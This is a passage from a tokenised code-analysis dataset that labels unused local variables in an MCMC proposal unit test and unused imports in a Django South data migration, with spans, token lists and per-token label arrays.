"bec", "aus", "e", " ", "it", " ", "als", "o_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "gra", "bs", " ", "\\u", "active", "\\u", "limb", "o", "\\u", "lock", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "del_", "\\u", "active_", "[_", "\\u", "get", "\\u", "ident_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2 ]
Unused local variable
karlnapf/kameleon-mcmc/kameleon_mcmc/tests/unit/AddDelSwapProposalUnitTest.py
[ { "content": " def test_sample_many_no_checks(self):\n num_runs = 1\n for _ in range(num_runs):\n n = randint(1, 10)\n d = 10\n mu = randint(0, 2, d).astype(numpy.bool8)\n #print 'mu='\n #print mu\n spread = rand()\n dist = AddDelSwapProposal(mu, spread)\n sample = dist.sample(n)", "metadata": "root.AddDelSwapProposalUnitTest.test_sample_many_no_checks", "header": "['class', 'AddDelSwapProposalUnitTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 133 }, { "content": " def test_log_pdf_1n_1d_add(self):\n mu = asarray([0], dtype=numpy.bool8)\n spread = .5\n dist = AddDelSwapProposal(mu, spread)\n X = asarray([[1]], dtype=numpy.bool8)\n result = dist.log_pdf(X)\n expected = zeros(1) + numpy.nan", "metadata": "root.AddDelSwapProposalUnitTest.test_log_pdf_1n_1d_add", "header": "['class', 'AddDelSwapProposalUnitTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 220 }, { "content": " def test_log_pdf_1n_1d_swap(self):\n mu = asarray([1], dtype=numpy.bool8)\n spread = .5\n dist = AddDelSwapProposal(mu, spread)\n X = asarray([[1]], dtype=numpy.bool8)\n result = dist.log_pdf(X)\n expected = zeros(1) + numpy.nan", "metadata": "root.AddDelSwapProposalUnitTest.test_log_pdf_1n_1d_swap", "header": "['class', 'AddDelSwapProposalUnitTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 229 }, { "content": " def test_log_pdf_1n_1d_del(self):\n mu = asarray([1], dtype=numpy.bool8)\n spread = .5\n dist = AddDelSwapProposal(mu, spread)\n X = asarray([[0]], dtype=numpy.bool8)\n result = dist.log_pdf(X)\n expected = zeros(1) + numpy.nan", "metadata": "root.AddDelSwapProposalUnitTest.test_log_pdf_1n_1d_del", "header": "['class', 'AddDelSwapProposalUnitTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 238 }, { "content": " def test_log_pdf_2n_1d_add(self):\n mu = asarray([0], dtype=numpy.bool8)\n spread = .5\n dist = AddDelSwapProposal(mu, spread)\n X = asarray([[1], [0]], dtype=numpy.bool8)\n result = dist.log_pdf(X)\n expected = zeros(2) + numpy.nan", "metadata": "root.AddDelSwapProposalUnitTest.test_log_pdf_2n_1d_add", "header": "['class', 'AddDelSwapProposalUnitTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 247 }, { "content": " def test_log_pdf_1n_2d(self):\n mu = asarray([0, 1], dtype=numpy.bool8)\n spread = .5\n dist = AddDelSwapProposal(mu, spread)\n X = asarray([[1, 1]], dtype=numpy.bool8)\n result = dist.log_pdf(X)\n expected = zeros(1) + numpy.nan", "metadata": "root.AddDelSwapProposalUnitTest.test_log_pdf_1n_2d", "header": "['class', 'AddDelSwapProposalUnitTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 256 }, { "content": " def test_log_pdf_2n_2d(self):\n mu = asarray([0, 1], dtype=numpy.bool8)\n spread = .5\n dist = AddDelSwapProposal(mu, spread)\n X = asarray([[1, 1], [0, 1]], dtype=numpy.bool8)\n result = dist.log_pdf(X)\n expected = zeros(2) + numpy.nan", "metadata": "root.AddDelSwapProposalUnitTest.test_log_pdf_2n_2d", "header": "['class', 'AddDelSwapProposalUnitTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 265 } ]
[ { "span": "sample ", "start_line": 143, "start_column": 12, "end_line": 143, "end_column": 18 }, { "span": "result ", "start_line": 225, "start_column": 8, "end_line": 225, "end_column": 14 }, { "span": "expected ", "start_line": 226, "start_column": 8, "end_line": 226, "end_column": 16 }, { "span": "result ", "start_line": 234, "start_column": 8, "end_line": 234, "end_column": 14 }, { "span": "expected ", "start_line": 235, "start_column": 8, "end_line": 235, "end_column": 16 }, { "span": "result ", "start_line": 243, "start_column": 8, "end_line": 243, "end_column": 14 }, { "span": "expected ", "start_line": 244, "start_column": 8, "end_line": 244, "end_column": 16 }, { "span": "result ", "start_line": 252, "start_column": 8, "end_line": 252, "end_column": 14 }, { "span": "expected ", "start_line": 253, "start_column": 8, "end_line": 253, "end_column": 16 }, { "span": "result ", "start_line": 261, "start_column": 8, "end_line": 261, "end_column": 14 }, { "span": "expected ", "start_line": 262, "start_column": 8, "end_line": 262, "end_column": 16 }, { "span": "result ", "start_line": 270, "start_column": 8, "end_line": 270, "end_column": 14 }, { "span": "expected ", "start_line": 271, "start_column": 8, "end_line": 271, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Add", "Del", "Swa", "p", "Propos", "al", "Unit", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "sample", "\\u", "many", "\\u", "no", "\\u", "checks_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num", "\\u", "runs_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "\\u_", "in_", "range_", "(_", "num", "\\u", "runs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "randint_", "(_", "1_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mu_", "=_", "randint_", "(_", "0_", ",_", "2_", ",_", "d_", ")_", "._", "astype_", "(_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "'", "mu", "='_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "mu_", "\\u\\u\\uNL\\u\\u\\u_", "spread_", "=_", "rand_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dist_", "=_", "Add", "Del", "Swa", "p", "Propos", "al_", "(_", "mu_", ",_", "spread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sample_", "=_", "dist_", "._", "sample_", "(_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Add", "Del", "Swa", "p", "Propos", "al", "Unit", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "log", "\\u", "pdf", "\\u", "1", "n", "\\u", "1d", "\\u", "add_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mu_", "=_", "asarray_", "(_", "[_", "0_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spread_", "=_", ".5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dist_", "=_", "Add", "Del", "Swa", "p", "Propos", "al_", "(_", "mu_", ",_", "spread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "asarray_", "(_", "[_", "[_", "1_", "]_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "dist_", "._", "log", "\\u", "pdf_", "(_", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "zeros_", "(_", "1_", ")_", "+_", "numpy_", "._", "nan_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Add", "Del", "Swa", "p", "Propos", "al", "Unit", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "log", "\\u", "pdf", "\\u", "1", "n", "\\u", "1d", "\\u", "swap_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mu_", "=_", "asarray_", "(_", "[_", "1_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spread_", "=_", ".5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dist_", "=_", "Add", "Del", "Swa", "p", "Propos", "al_", "(_", "mu_", ",_", "spread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "asarray_", "(_", "[_", "[_", "1_", "]_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "dist_", "._", "log", "\\u", "pdf_", "(_", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "zeros_", "(_", "1_", ")_", "+_", "numpy_", "._", "nan_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Add", "Del", "Swa", "p", "Propos", "al", "Unit", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "log", "\\u", "pdf", "\\u", "1", "n", "\\u", "1d", "\\u", "del_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mu_", "=_", "asarray_", "(_", "[_", "1_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spread_", "=_", ".5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dist_", "=_", "Add", "Del", "Swa", "p", "Propos", "al_", "(_", "mu_", ",_", "spread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "asarray_", "(_", "[_", "[_", "0_", "]_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "dist_", "._", "log", "\\u", "pdf_", "(_", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "zeros_", "(_", "1_", ")_", "+_", "numpy_", "._", "nan_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Add", "Del", "Swa", "p", "Propos", "al", "Unit", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "log", "\\u", "pdf", "\\u", "2n", "\\u", "1d", "\\u", "add_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mu_", "=_", "asarray_", "(_", "[_", "0_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spread_", "=_", ".5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dist_", "=_", "Add", "Del", "Swa", "p", "Propos", "al_", "(_", "mu_", ",_", "spread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "asarray_", "(_", "[_", "[_", "1_", "]_", ",_", "[_", "0_", "]_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "dist_", "._", "log", "\\u", "pdf_", "(_", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "zeros_", "(_", "2_", ")_", "+_", "numpy_", "._", "nan_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Add", "Del", "Swa", "p", "Propos", "al", "Unit", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "log", "\\u", "pdf", "\\u", "1", "n", "\\u", "2d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mu_", "=_", "asarray_", "(_", "[_", "0_", ",_", "1_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spread_", "=_", ".5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dist_", "=_", "Add", "Del", "Swa", "p", "Propos", "al_", "(_", "mu_", ",_", "spread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "asarray_", "(_", "[_", "[_", "1_", ",_", "1_", "]_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "dist_", "._", "log", "\\u", "pdf_", "(_", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "zeros_", "(_", "1_", ")_", "+_", "numpy_", "._", "nan_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Add", "Del", "Swa", "p", "Propos", "al", "Unit", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "log", "\\u", "pdf", "\\u", "2n", "\\u", "2d_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mu_", "=_", "asarray_", "(_", "[_", "0_", ",_", "1_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "spread_", "=_", ".5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dist_", "=_", "Add", "Del", "Swa", "p", "Propos", "al_", "(_", "mu_", ",_", "spread_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "X_", "=_", "asarray_", "(_", "[_", "[_", "1_", ",_", "1_", "]_", ",_", "[_", "0_", ",_", "1_", "]_", "]_", ",_", "dtype_", "=_", "numpy_", "._", "bool", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "dist_", "._", "log", "\\u", "pdf_", "(_", "X_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected_", "=_", "zeros_", "(_", "2_", ")_", "+_", "numpy_", "._", "nan_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
potatolondon/osmosis/osmosis/migrations/0009_copy_task_pk_to_id.py
[ { "content": "# -*- coding: utf-8 -*-\nfrom south.utils import datetime_utils as datetime\nfrom south.db import db\nfrom south.v2 import DataMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(DataMigration):\n\n\n\n models = {\n u'osmosis.importshard': {\n 'Meta': {'object_name': 'ImportShard'},\n 'complete': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'error_csv_filename': ('django.db.models.fields.CharField', [], {'max_length': '1023'}),\n 'error_csv_written': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'last_row_processed': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),\n 'source_data_json': ('django.db.models.fields.TextField', [], {}),\n 'start_line_number': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),\n 'task_id': ('django.db.models.fields.PositiveIntegerField', [], {}),\n 'task_model_path': ('django.db.models.fields.CharField', [], {'max_length': '500'}),\n 'task_pk': ('django.db.models.fields.PositiveIntegerField', [], {}),\n 'total_rows': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'})\n },\n u'osmosis.importsharderror': {\n 'Meta': {'object_name': 'ImportShardError'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'line': ('django.db.models.fields.TextField', [], {}),\n 'shard': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['osmosis.ImportShard']\"})\n },\n u'osmosis.importtask': {\n 'Meta': {'object_name': 'ImportTask'},\n 'error_csv': ('django.db.models.fields.files.FileField', [], {'max_length': '1023', 'null': 'True'}),\n 'error_csv_filename': ('django.db.models.fields.CharField', [], {'max_length': '1023'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'model_path': ('django.db.models.fields.CharField', [], {'max_length': '500'}),\n 'row_count': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),\n 'shard_count': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),\n 'shards_error_csv_written': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'shards_processed': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),\n 'source_data': ('django.db.models.fields.files.FileField', [], {'max_length': '1023'}),\n 'status': ('django.db.models.fields.CharField', [], {'default': \"'pending'\", 'max_length': '32'})\n }\n }\n\n complete_apps = ['osmosis']\n symmetrical = True", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 6 }, { "content": " def forwards(self, orm):\n \"Write your forwards methods here.\"\n # Note: Don't use \"from appname.models import ModelName\". \n # Use orm.ModelName to refer to models in this application,\n # and orm['appname.ModelName'] for models in other applications.\n\n # Copy task_pk to task_id field, before we delete task_pk\n shards = orm['osmosis.ImportShard'].objects.all()\n for shard in shards:\n shard.task_id = shard.task_pk\n shard.save()", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'DataMigration', ')', ':', '___EOS___']", "index": 8 }, { "content": " def backwards(self, orm):\n \"Write your backwards methods here.\"", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'DataMigration', ')', ':', '___EOS___']", "index": 20 } ]
[ { "span": "from south.utils import datetime_utils as datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 50 }, { "span": "from south.db import db", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 23 }, { "span": "from django.db import models", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 28 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "south_", "._", "utils_", "import_", "datetime", "\\u", "utils_", "as_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "db_", "import_", "db_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "south_", "._", "v2_", "import_", "Data", "Migration_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Migration_", "(_", "Data", "Migration_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "models_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "osm", "osi", "s", ".", "import", "shard", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Import", "Shard", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "complete", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "\\u", "csv", "\\u", "filename", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "1023", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "\\u", "csv", "\\u", "writt", "en", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Boo", "lean", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "Fal", "se", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "last", "\\u", "row", "\\u", "process", "ed", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "source", "\\u", "data\\u", "json", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "start", "\\u", "line", "\\u", "number", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "task", "\\u", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "task", "\\u", "model", "\\u", "path", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Char", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "500", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "task", "\\u", "pk", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "total", "\\u", "rows", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Posi", "tiv", "e", "Integer", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "default", "'_", ":_", "'", "0", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "osm", "osi", "s", ".", "import", "shard", "error", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Import", "Shard", "Error", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "id", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Auto", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "primary", "\\u", "key", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "line", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "Text", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "shard", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "relate", "d", ".", "Fore", "ign", "Key", "'_", ",_", "[_", "]_", ",_", "{_", "'", "to", "'_", ":_", "u", "\"", "orm", "['", "osm", "osi", "s", ".", "Import", "Shard", "']\"_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "u", "'", "osm", "osi", "s", ".", "import", "task", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Meta", "'_", ":_", "{_", "'", "object\\u", "name", "'_", ":_", "'", "Import", "Task", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "\\u", "csv", "'_", ":_", "(_", "'", "django", ".", "db", ".", "model", "s", ".", "fields", ".", "files", ".", "File", "Field", "'_", ",_", "[_", "]_", ",_", "{_", "'", "max", "\\u", "length", "'_", ":_", "'", "1023", "'_", ",_", "'", "null", "'_", ":_", "'", "Tru", "e", "'_", "}_", ")_", ",_", 